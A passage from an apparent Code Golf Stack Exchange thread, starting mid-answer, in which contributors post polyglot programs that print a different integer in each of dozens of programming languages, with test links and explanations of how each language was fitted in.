4)^1<<(65)>>(62))or'(\\{(\\{})(\\{}[()])}\\{}\\{}\\{})'#46(8+9+9+9+9+=!)#1|=/=1/24=x=9[<$+@+-@@@@=>+<@@@=>++.--.]/\n__DATA__=1#//\n#.\\.\"12\"*␉\n\"\"\"\"#//\n=begin␉//\n#\n#*/␉\n#define␉z sizeof 'c'-1?\"38\":\"37\"\n#include␉\nint main() /*/\n#()`#`\\'*/{puts(z);;}/*'``\n$'main'␉//\n#-3o4o#$$$\n<>3N.<>␉//\n#xx\n#x%~~~+␉+~*ttt*.x\n#xx\n=end #//\n\"\"\"#\"#//\n#0]#echo 21#/(\\[FAC,1<-#2FAC,1SUB#1<-#52FAC,1SUB#2<-#32FACLEGEREEX,1PLEASEGIVEUPPLEASE) ap\n#_~nJ|#o51\\ \n#0␛dggi2␛`␉|1|6$//''25 >>>#>27.say# =#print(17)#^_^_7LEintndus({})!<>+]/*///Z222999/(3!@)\"26\n```\n`␉` is a literal tab, `␛` a literal ESC character; Stack Exchange would mangle the program otherwise. I recommend copying the program from the \"input\" box of the TIO link below, if you want to work on it.\n[Try them online!](https://tio.run/nexus/bash#lVjJdtvIFV0Lv9CbMoA2AZGYSEtum4Mlu@U@7ri7FUtWclrUUASKJCywgMYgktZwsk1OFtlnk2X@I9t8RX6kc6vASRLVTigRLBSq6r1334xfNfEh@3E0HURxTnKW5SRIw0uW2uT1lOzQMNuqN4wkDUc0nRJa5MM4NWtk582Qcp8pityexkHhh3xA8iEjIU@KnPTDiGWKT3PSIcnseFsMiEZSRoNymdKPUyK2kNFFRELiJwnpRXRo@1iWxSPxKGdpkjJcM8IZC0iWMD/sh74kQdgkZzwLY57ZJPQvyDiMIhKwCBuWdP0aDiNFtjJVUrGVIFYIPn5yj8vFnc6whi8kZQlNpaQxSaTYc4HHKU0SMKlo5ACM5@GIZSTMKxlhNAsFrtiSMR5IkJIF4jGhfFVKchlSQsFvkcqzM5bmEM@W55IhSxmOpIL4IKUjYozTMAcEAsNdss9oSg5TxkxQAfYs82kCPu6QBLFYUMiFILbUUatV2fvpbQW6KnfYNMkVLW0c/v57hRK7TfSzJr5tVW0qez9@S670rhiDCxwGfSapQU3SviWZ0@0yfCdezxmkNwpOVYBKRJw4yR2cTNMc7C1H1mXdTqIVsqR1TxMr9lOuCqAL8o6To5qUyy/SlIGLJaT0AiJHMR8ATYiaFlygwcm2CwX4MQ@yGmGXwCzmpYbiscT3cBhCZZlQCO0BHuoL5EunkHDCLWB5MzzndLM4KuQ67MxyYX7ABFvFie/65Ij0aRiJLXgujiq5TllWRLnYU/BA6H0UchbYZM6GHwdi0Si@BDmKQ@UE3GW04mSSKSyGGmIpqnj0n7/9PRgMcM6u78dpMDPWIxLEfjECw1QyS2GIwlxjTiPJFtbVBPVyOwhc0igMaC7I8@mMhGRCUh3HRRSQGATTcQjHGtJLOGO/z/yclSYeFzl4rJERvShDQ1jaLQQf0R4UKwlI2hBbGok1KvL@N8RK9kglc06NVy@NV0@6DPyYtrmpO86gCQuzN@UU7iq/ZSxHu0sdKsJkdkmfjUlE@aCgA4gVc2ygvs@SfIYncMlyIHbfKeSkNfNwOxsq@s59ytLSZ76/QkPYYul9M3@lAgQ/Ho2gACuCzglNB1IvJAhToBdN71PHgst7xNVzseQOA@fqIyzMwxSsmk2YX@QAn9XIeBj6QzKW3PFSfaWv3CePqVXqMECrvyAtmPE6T@uK7SymBBuPHmEJRT88BzFAHNW5MyFtYnVCCigD8YFIArDcedQVnrHMDAvhgcb3Iqak7JcC6MJBwwEXSyhfROwVow4zXoGXh1kIiETsDfHk8N1PwpX/wMr0A5DKMLTqhzGSEbbPYqt4MEdMYf4wJhYnlRkPhipD4Sew5WSpLwfWSvxXTRtwGQI2@Wh@0Kcym96PhaTzcJ0kWamRY1U9qSH8RBn0zYsowk3BpUMYzLyCYfgsy2xYN3zVFokE3KlVZt7cXZgP03hM2I3ZrKwjJxVyCJnfI@SS9yGiZdxHgF4mbpnmJyJFdRU1maKG4I271qsun9TLXHHkjCg8MZmu92h19Si54YeQX8RC885oPjpzbW/rzhEoMx7u7IfZUF7uLH3A1sMncnc26vXlZc0CLkzrHl7ywSjmcUkcCIWcOh/kjw0PXcfBXUe4Q/41g6oGzHrRcHohd3qs/9jKt69fv5Nr@r1e@NgiwCCqqfnvmmVp0VuHUo9mwweBktzB@bBI88gKnFz8sn//KQDeD7UxpNMM@fNiMTjjbCw0Y/UfVc5sq7iRl/WK/FREqK2@cIZPRc6k0WKw/qyX5AODtSOncVlSgdMogjsCMgSMh@YMT4iKgM1/1x8qMbwbbwkPRyJfJKLYfWTHvQRREhRlRRrFNHDKQi9kS@2VOLMJHcR86qwEHzvt/Q9szWM4WVZ2@bDIi/Iqyrkv6SlMxPe33G220t3afe3tzX4eWQ8mth@z09JFUkQS621EL5yeGJ71MVwvailMGg5QO85/H1vGMhlkrF4cX1hlvZ45SKuoaBLqM@lqy9u1NvQDUnOEkv3gx48H@79pTJIiTkuj8rr2uHfcR8bi@ZdPAgyRvPyPVig3SUPxaWS5dsN1RLdlrWAY3kM9or2paA@G/7@BCYqDapVY8bKqXzZzSfL4Jt9fv6ls98Q@ma0@yJZgUZWhHyg7GcyF6axyzRbNobZ8SjhFcYX0JsbzMqNZFrfZUNbE6DQC@OpHHsrCAjV4WdbVSA@lgoyB//pnMGsVBizPyCjMUAoPuGhuUbsN4/ErSbesid/sHhALBbHkoU/Ur63nbqbWiL774bujY/ekQlR9os4YFb2OLO0XDJfCEEOM92UemVWiI9kmSZnYWFaiaI3QFYnsKvoPVD8ZGsvclEcbiJ0jFDjWQU62RHPOchSyW7OGioh2F5TkUqJPyDU6VTT5lk@8LRd3pSiRKOxH7WXKWq0SnG9Zr5D@hpaw3mhLOdBztjpylLIgFtX/8Wk3OHGyORpoNb926xOBx1NHqALt6ZVud9zr64xOVfWmYq7073sT1A9wC9FHyT5IET29gCou8jt1@jjMh2VBiSrTH1JRdog6c14cCpb68HkSQU7R30gnz4SgRIBpk90oQ5sdBICpN80FugXPy3pwURSqGuH2wo5qRFUevIgQezMAns@bU3RMaSp5GCI5llYFxQQxlo1la4bqE/WtbdvK2BcqkEes67DQqqPdK7uqbo7xn2fjPsZ/LcenjlCp86DVKgV5gN9KwAvv@NhM8jVcEBD7xxomOMZ/KcfHXde6PVnX8a1hYxEF8/iC8fCzxGr@tuMxJlapqU63q36Z1qq5QNZZPkUYEG8ysOoNTDbMX5Kd3zHO2ZSseYtWvl5bvk57yN1e5SqKEXN1pyl9oXkDNM67pJt3@10uIGlOna8c22leGXrUnjqO45sdQx@2vWpjs1rV@aahc8szzadPhQvd6FlbP7NVW51gkaVHZhPOYOi0rfOmTluGHrTrm3IHbqtV8wobbtF0X@n0xtGfAqcaZlJ2CW9ghp6ZorZ3bdu7AX@f4pDrTm1EkytDJepEvEcR5PWwWhU82PqZYODW6R5UwTlgP3Ck4zZnhuYMRk3p2pW70P/6q0aIp3rbKmk4zmXX2NGcJn@mes9URXM2zxsAldKfWx1v21Fb6rbTs3/ZUU2jXjcPsHMDH6Jo0@lGs7H9ZAfK2VC09kZH0Y4xiX83ckcT17vwLjAKJ@6niTt0h17ged6@yz66vYnbc2MvwJXhz51gGLr9iTtwucs9b@LGGPgT18egj@tAPOrjkE/4C11XnC1IjNzIkx/XNU7PTEU7b51vXCtSZsNglzQyVK87qffrqokYY5AXxIR@vAYxTctwRdh5Zp56rZaxvWV2OsZ23cTzitG9wv@NKS7Hhnli3mBQ/psV7dm28U31xeyv/cTUvOu20/ac@rP2pP3iuKVXd6rWDj7tTrU1@3mldaq2ZdknjnJ29u3u4e7ZWdvTHEfR7K6tenV1c0NR8RFT7R4bhHxDPFS0TQfYBqyPILjxmaDj/syQLyt@xfJeqY1v1Jdq4zmUFnJfFMIbLdEzxPawowifEj2fYcIONnGWYZ5r593KpnMl0rHx2Ww2b5zNyvm5olfEwoqkaDXiZ7Gm67rS6jR@tFsdOTuZ4Pv17e1tdaN6u5nn@aY9kbNt8QoWqRKLBPeSf8090WRIrkNCo3v8dvdNzWtZWl0ODj6@1sTd1vK2jtuGuH2/993eh729P9a8/fd7uwd737072vu4X44hBk0U7eyWf3@txVteF2RB6qtgMAjrX0Hr3vW27jiVSn2LoK/uaJ36cxtJSyNtrbQH77mpnZ6dnj1/v4dbHhSZAX0@aXWqJwDIcX6u1@svXrxwjMaTHVOtb/8X \"Bash – TIO Nexus\")\n## Rundown\nThis program prints **38** in C, **37** in C++, **36** in Labyrinth, **35** in INTERCAL, **34** in Rail, **33** in Incident, **32** in Whirl, **31** in Modular SNUSP, **30** in Whitespace, **29** in Trigger, **28** in Brain-Flak, **27** in Perl 6, **26** in 05AB1E, **25** in Pip, **24** in Thutu, **23** in Hexagony, **22** in Underload, **21** in Nim, **20** in Prelude, **19** in Reng, **18** in Cardinal, **17** in Julia, **16** in Pyth, **15** in Haystack, **14** in Turtlèd, **13** in Ruby, **12** in Fission, **11** in Befunge-98, **10** in Befunge-93, **9** in Perl 5, **8** in Retina, **7** in Japt, **6** in SMBF, **5** in Python 2, **4** in ><>, **3** in Minkolang, **2** in V/Vim, and **1** in Python 3.\n## Verification\nMost of the languages are tested by the test driver shown above. You can test Reng [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/) and Modular SNUSP [here](http://www.quirkster.com/iano/snusp/snusp-js.html); they output 19 and 31 respectively, as required.\nHere is my slightly tweaked version of the Incident [tokeniser](https://tio.run/nexus/c-gcc#ZVTdcuI2FL6GV9gbYZMgWTaWTEKW2HLItmSn3Uwn0zSdDrYDDhjwxjY0mB2HBB6gV33GvkOv0yNMknaq3/Ono@8cH/lFjbNRshpHyFnm43jenLnVf4se4mwqZdU4y1EaxhkmT1UEbTQLH1AWFbkXIIEUFSHuK7ztK6hlmt983FVNOzsCEcy//vxDNbVhC4WrMOw7Lm@bvuL4Stu8a/7e9RWCLYtcg4sKNCStHx8rdqtd60oaVeQqKq7cPFDBYAlLC8bv@T1QccG@FmzGZnzMOb9i0Q27K9gdm/MxrBF0VgAZs0nBpixjGecFmwMxKtgIiAmsU6magJOv0GPGpG95RcoSvmuM4dsBkRCGzrDyDMQCcpNjHH0LEwxx@oU1sSCWMBtj1EFk/oB5CxFiYAYidERuuePg9jFxXdy2COgb2H@CsSFy8TAJyAaIcpCGetTGH2ln30WNqPxZmIKb1pEoRMdz6rRLjS404VJnv52pLm0aRjMwAeBg8P35L@eDgeCqKXm16TcBKIDUZEp9peylUtxF0zirlIZyauYu7@NoEmdRZY3QMl5H8wlqjBoGP/OV1kdfOYXtpPy@@5qpvJURCN9rBiFT23nGZKgO/YZmPi1W@RKviW1vTK0xHIKy3pDGjT0GozU/mqv1eh0Yx2391HTcvaYoduvBdrulFbrV8jzXmsWbRkSQboTKsPYhvkapskCNRrM5siAn2Pcuzr/TuWOo1o64vvmkSu74nbWAbUn2sve593Ov95vOry5759e9zz/82ru5KmkIL1xI74Nt9uOzOj/mPgDYXfdhPJ3G1geoGP7crptmo2EdI@S6rupaJ81l@KgioZaVxE@Ieju4HZxc9oDNxqslhjqoOS4NIHmm2bcsq9PpmLhV6xJfsdqKvXuJEyyfIbGrm6qW66ldlU9TW9jVL3hEniZQh/Y2PTwc3S68NLBJKnK5U5ram@o9jksTLRepMLi98OLAzj1K40Ck5AuWPLFTwcB4gneel/s/gPy6mYBfRBJleEn0tZcZ2yzQL7yM8kBf6VpfrPVQML2AGQuuJ3vAcF8u1jSzQwcmpXuHr20hljS0/yOSR@5xItZeGAhG7AQOUnoBgQDGpZdQGhC4OAHl/w/ayeFhSBO3sBPDINLqtnV24eVABFRI/hSHTnG29lZw/hTDLuCahABwOEdKj5s37IDPhvySneCp@o6vkNAKgJYKofXPtL4marW1VxhpoJdpP2XlKQm6kKBL3/EEa32CdnUwwcpBfHrQ1JZ@pugxpZBHfbE31PrALyh9hbR5efk7mxujcDSL/gE), designed to be a bit less golfed but a bit more useful.\n## Explanation\nI've always loved making little polyglots but never one as big as this; I thought I should probably give it a go!\nAfter @Chance's wonderful C++ answer, C seemed the next logical choice, and given (compared to some previous answers) the relative ease of adding it, I decided to go for it when I had the chance!\nI used a very well-known trick to tell the difference between C and C++; the sizeof a character constant is 1 byte in C++ but the sizeof an int (guaranteed to be at least 16 bits) in C. This code should be very portable (except maybe for systems that use bytes with enough bits to fit an int) unless I've made a stupid mistake.\nI firstly tried to do a `printf` with everything inline, but the multiple brackets seemed to be causing issues for Japt, so I made the line simpler, which appeared to fix it.\nNext, Cardinal didn't like it, I guessed because of the `%` in the printf, so I had to solve that one by switching to manipulating strings.\nMy next attempt, trying to assign a string then change the second byte contingent on the C behaviour, ended up far too long and would have pushed Hexagony onto the next size; I wanted to avoid redoing that by keeping it within the extra characters I had to play with! I needed every byte I could get for this, so I implemented the byte-saving changes suggested by @Chance.\nSo I golfed that C code down a bit and came up with `puts(sizeof'c'-1?\"38\":\"37\");` which almost worked, except that Underload was segfaulting, presumably because of the complex expression in the brackets.\nEven after removing the extra `>>` that used to be required to match the `<<` in Perl6, I couldn't get a concise enough way to split out the more complex part of it into a char array assignment. So I ended up looking at using the preprocessor instead.\nAfter a lot of trial and error I found a solution that Retina seemed to like. Prelude which was causing me problems on-and-off all the way through, ended up fixing itself before I got round to looking at why it was breaking (I guess either the brackets or the `!` I had in the ternary at one stage, looking at previous answers).\nAll the while I was patching up the whitespace to get something that Whitespace would like; I found that to be rather easy. Specifically, `tab space space space` was a very useful combination (the instruction to add the top two items on the stack), since it meant I could add whitespace to lines with no other whitespace without having everything go out of sync (I'm guessing its position in the program means it never actually gets executed so I'm not worried about stack underflows here).\nI've now tested Incident, and it works! Many thanks to @Chance and @LliwTelracs, which I've just realised is NOT a Welsh name, for helping me get to grips with it. See this [syntax highlighting](https://tim32.org/%7Emuzer/incident.html). I have removed the `;` token that was appearing before the `#yy` token. I did this by simply adding an extra `;` after the `gets` statement (my previous attempt involved replacing `s` (which now appears much more in the C program than it did in the previous one) in the \"detokenising\" string with a `;`, but it turned out I was actually a character short for Hexagony (thanks @Chance), so after attempts to add an extra character to this last line failed, I just changed it back and added the extra semicolon elsewhere).\nI have also tweaked the whitespace a little to change some other tokens to make some attempt at centring, to re-tokenise Tab Linefeed (by moving the tab at the end of the `#include` line to in the middle, thus making three tokens), and to de-tokenise the triple-space token by moving one space in the `define` line.\nFinally, a day after initial submission, I decided to get to the bottom of the scary preprocessor warning that gcc produced (and which made Clang fail). I determined that the reason the first line worked at all is because it's the output from the preprocessor that provides debug info like original filenames and line numberings. They didn't like the first \"2\" on the first line, because this meant \"returning from an included file into the given file\", and obviously that's impossible given there haven't been any included files. After changing it to a \"1\" (start normal header) made a few too many languages choke, I changed it to a \"3\" (start internal component header), which broke only Hexagony, since it was now relying on the 2. So at the start of the Hexagony code I added an open bracket `(` to decrement the 3 to a 2, then a close bracket `)` after the end (`@`) of the hexagony code to satisfy Retina, Prelude and Underload which all expected matching brackets. Re-testing Reng and Modular SNUSP produced no issues, and the Incident tokens looked right, so I had now fixed it! I've tested it on a variety of exotic architectures and it appears to work. I know it's not important for a code golf, and I won't mind if future submitters have to break this again to keep within a byte count or whatever (or if anyone's already started based on this solution and doesn't want to change theirs too much), but there is one good reason I've done this - TIO's Objective-C compiler only supports Clang, so this'll be very useful if anyone wants to add that!\nBear in mind I've never used most of these languages, I hope my success encourages more newcomers to give this a try!\n[Answer]\n# 2. V (11 bytes)\n```\nprint(1)#i2\n```\nThis program prints **1** in Python 3, and **2** in V.\nJust to get the ball rolling and to throw my favorite language into the mix early on. :)\nIt's a very straightforward answer.\n```\nprint(1)#\n```\njust so happens to be a NOP in V. (lucky for me) Then `i2` enters insert mode and inserts a '2'. You can try V online [here](http://v.tryitonline.net/#code=cHJpbnQoMSkjaTI&input=)\nOf course, in python\n```\nprint(1)\n```\nprints '1', and\n```\n#i2\n```\nis a comment.\n[Answer]\n# 20. Prelude, 167 bytes\n```\n#v`16 \"<\" 6/b0\\ .q@#;n4\"14\"\"\n#>3N9@15o|R\"12\"*^*ttt*~++%\n#=|\nprint((1/2and 9 or 13)-(0and+4)^1<<65>>62);#35(99999+++++!) =#;print(17)\n# ~nJ<\n#\n#gg99ddi2` |1|1+6\n```\nLiteral ESC characters in the same place as in the previous submissions (between the `#` and `g`, and between the `2` and ```, on the last line), because you can't take Vim out of insert mode with printable characters.\nThis program prints [**20** in Prelude](https://tio.run/nexus/prelude#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), **19** in Reng (testable [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/)), [**18** in Cardinal](https://tio.run/nexus/cardinal#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**17** in Julia](https://tio.run/nexus/julia5#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**16** in Pyth](https://tio.run/nexus/pyth#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**15** in Haystack](https://tio.run/nexus/haystack#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**14** in Turtlèd](https://tio.run/nexus/turtled#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**13** in Ruby](https://tio.run/nexus/ruby#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**12** in Fission](https://tio.run/nexus/fission#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**11** in Befunge-98](https://tio.run/nexus/befunge-98#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**10** in Befunge-93](https://tio.run/nexus/befunge#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**9** in Perl](https://tio.run/nexus/perl#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**8** in Retina](https://tio.run/nexus/retina#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**7** in Japt](http://ethproductions.github.io/japt/?v=master&code=I3ZgMTYgIjwiIDYvYjBcIC5xQCM7bjQiMTQiIgojPjNOOUAxNW98UiIxMiIqXip0dHQqfisrJQojPXwKcHJpbnQoKDEvMmFuZCA5IG9yIDEzKS0oMGFuZCs0KV4xPDw2NT4+NjIpOyMzNSg5OTk5OSsrKysrISkgPSM7cHJpbnQoMTcpCiMgICAgICAgfm5KPAojCiMbZ2c5OWRkaTIbYCB8MXwxKzY=&input=), [**6** in SMBF](https://tio.run/nexus/smbf#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**5** in Python 2](https://tio.run/nexus/python2#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**4** in ><>](https://tio.run/nexus/fish#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**3** in Minkolang](https://tio.run/nexus/minkolang#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**2** in Vim/V](https://tio.run/nexus/v#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**1** in Python 3](https://tio.run/nexus/python3#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), and `a partridge` in [A Pear Tree](http://esolangs.org/wiki/A_Pear_Tree).\nThe existing code pretty much cancels itself out in Prelude, consisting only of while loops with falsey arguments and some stack manipulation on stacks we don't care about. Even better, there's a spot in the code that's a comment in all the languages that have them (between the `#` and `=#` of the previous submission). The hard part of fitting Prelude into this was generating numbers with only one stack and without blowing up the byte count. This program uses a loop that adds 45 to every stack element and outputs it as ASCII, thus by placing a 5 above a 3 on the stack, we get `20` as output. (Neatly, 20 is an easier number to output than 19 is in Prelude, so answer 19 being posted actually helped me a bit.)\n[Answer]\n# 100. brainbool, 2953 bytes\n```\n#16 \"?63(o?23!*# #@\"/*\\DZZCv;'[af2.q]PkPPX)\\('#CO\"14\"; */\n#/*0|7//```\"` [>.>.])[-'][(>77*;,68*,@,1',;# l1011)(22)S\\4n;iiipsddpsdoh coding:utf8ââââ(1P''53'S^'????!?!??!??!!!!???!?!??!!?!?!!!!!?!!!!?????!????????????????????!) (qx\n#>â\n# 36!@â` e++++++::@ \n#~\n#y\n#`<`\n#<<<#>>]}}+-[.+..]+-+<[<<.>>x>-]>[\n#{\n#x}\n#2\"\"/*\\*\n#=x+++++++q L+++<-][pPLEASE,2<-#2FAC,2SUB#1<-#52FAC,2SUB#2<-#32FACREADOUT,2PLEASEGIVEUPFACs]>@@+.---@.>][\n#x%+>+=ttt Z_*.\n#D>xU/-<+++L\n#R+.----\\ \\).>]4O6O@|\n#[#[(?2?20l0v01k1kMoOMoOMoOMoO MOO0l0ix0jor0h0h1d111x0eU0y0yx0moO1d0y0e0e00m1d0i0fx0g0n0n11MoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOmOoMOo0moo0n0tx0t0moO0f0t0gOOM0g0f0h0j0j0i0001k1x0vx0v0l111111^_0 )0\\\\\n[ \"]56p26q[puts 59][exit]\" ,'\\[999'];#/s\\\\/;print\"24\";exit}}__DATA__/\n###x<$+@+-@@@@=>+<@@@=>++.--.>65or 68)-(0and 4)^1<<(65)>>62)or\"'x\"or' {}{}{}{}({}<(((((()()())){}{})){}{})>)(({})5){}x{(x<(<()>)({})({}<{}>({}){})>){({}[()])}}({}){}({}()<()()()>)wWW no no no no no no no no no no no no no no no no no no no no no no no no no no no no no no os sp '#}#(prin 45)(bye)46(8+9+9+9+9+=!)(((\"3'3)))\"'a'[[@*3*74[?]*]*(<*.*\\>]xxxxxxxxxxxxx)'# \\\\\n__DATA__=1#\"'x\"\n#.;R\"12\"'\n###;console.log 39;'(******* **********819+*+@[*99[?]*]***|!)'\n#\\\\\n\"\"\"\"#\\\n' ( <>< ( )> ){ ({}[()] )}{\\'; a=$(printf \\\\x00 );b=${#a};#\\\\\n\" }\"'; (( ( (';case \"{\"$ar[1]\"}\"${b} in *1)echo 54;;*4)echo 78;; *1*)echo 50;;*)echo 58;;esac;exit;# (((('))))#\\\n=begin\n#p +555/2+55x%6E2x\n;set print \"-\";print 89;exit#ss 9\nutpb now 70 dollar off!\nutpb has been selling out worldwide!\n#9999 9 seeeemPaeueewuuweeeeeeeeeeCis:ajjappppppp😆😨😒😨💬95💬👥➡\n👋🔢🌚🌝🌝🌚🌚🌚🌚🌚\nset ! 57\nset ! 51\nMore 91 of thiset of re9\nHow much is it*/\n#if 0\n.int 2298589328,898451655,12,178790,1018168591,84934449, 12597\n#endif//*\n#1\"\" //*\n#include \n#defineâ x(d)â#d\n#define u8 \"38\\0 \"\nmain ( ) {puts( sizeof (0,u8)-5?u8\"67\":*u8\"\"?\"37\": x( 0'0 \"'\\\"\")[9]?\"75\":'??-'&1? \"79\":\"77\");\"eg5\"\"6 27\"\"e ' Zing \";}//*/\n#if 0\n#endif//* --... ...--\n/*/\np=sizeof(\"9( 999 99\\\" ); print'(''72'')';end!\" );main( ){puts( \"92\");return(9-9+9 -9);}\n#if 0â\n#endif//* rk:start | print: \"69\" rk:end<(9 >5b*:,1-,@\nprint 61\n#}\ndisp 49 ;9;\n#{\n}{}<>\n$'main'3\n#-3o4o#$$$\n#\"3\"O./+++<-\\>+++.---.\n#<<<#>>> /\nreg end=\"\";print(85);reg s#++++++++++++++++++++++++++++++++++++++++++++++++++++++++.-.\n=end\n;\"\"\"#\"#xxxxxxxy\"78\"\\++++>/<~#class P{ function:Main(a:String[] )~Nil{83->Print();} }\n#}pS9^7^8^MUOUOF@:8:8\\\\\n#s|)o51~nJ;#:p'34'3 \\=#print(17)#>27.say#]# print(47) #]#echo 21#fwwwwwWWWwWWWWWwWWWWWWWwWWWWWWWWWwWWWWWWWWWWWWWWWwWWWWWWWWWWWWwvm>++++\n#s8âdggi2âM`|$//'' 1$6~-<~-<~-<<<~-COprint (\"65\")#asss^_^_#\n#9 \"25\" +/ *///X222999686#\n```\nVIP score ([Versatile Integer Printer](http://codegolf.stackexchange.com/questions/65641/the-versatile-integer-printer)): .002953 (to improve, next entry should be no more than 3042 bytes)\n## Rundown\nThis program prints \n**1** in Python 3, \n**2** in V/Vim,\n**3** in Minkolang,\n**4** in ><>,\n**5** in Python 2, \n**6** in SMBF, \n**7** in Japt, \n**8** 